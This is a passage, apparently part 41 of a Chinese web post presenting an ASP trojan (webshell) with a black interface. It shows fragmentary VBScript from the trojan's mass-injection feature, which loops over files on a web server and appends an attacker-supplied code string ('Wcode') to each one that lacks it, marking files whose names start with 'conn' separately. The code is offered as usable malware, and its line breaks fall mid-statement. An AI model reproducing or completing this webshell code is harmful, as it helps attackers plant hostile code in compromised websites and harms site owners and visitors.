一款不错的asp木马 黑色界面(41)

then
                        tfile.Write
                        RRS"√  
"&Wpath&myfile.name
                        else
                        tfile.writeline Wcode
                        RRS"√ 
"&Wpath&myfile.name
                        tfile.close
                    end if
                    end if    
                    if checkbox="checked" then
                        Set 
tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2)
                        if Instr
(tfile1.readall,Wcode)=0 then
                            Set 
tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2)
                        if left(myfile.name,4)
="conn" then
                        tfile.Write
                        RRS"× 
"&Wpath&myfile.name
                        else
                        tfile.writeline Wcode
                            RRS"√